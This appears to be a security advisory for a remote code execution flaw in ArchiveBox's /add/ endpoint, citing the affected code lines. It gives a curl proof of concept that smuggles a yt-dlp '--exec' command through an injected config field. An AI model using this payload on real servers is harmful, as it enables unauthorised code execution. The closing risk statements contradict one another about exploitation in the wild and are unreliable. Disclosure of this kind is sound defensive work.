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GHSA-3h23-7824-pj8r
No affected components available
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation: custom_config = form.cleaned_data.get("config") or {}
core/views.py:918 - merged into crawl config: config.update(custom_config)
config/configset.py:255-256 - crawl config applied with high priority: if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config)
hooks.py:398-411 - config exported as env vars: for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value)
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp: ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra)
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
curl -X POST http://localhost:8000/add/
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ"
-d "depth=0"
-d "config={"YTDLP_ARGS_EXTRA": "[\"--exec\", \"id > /tmp/pwned\"]"}"
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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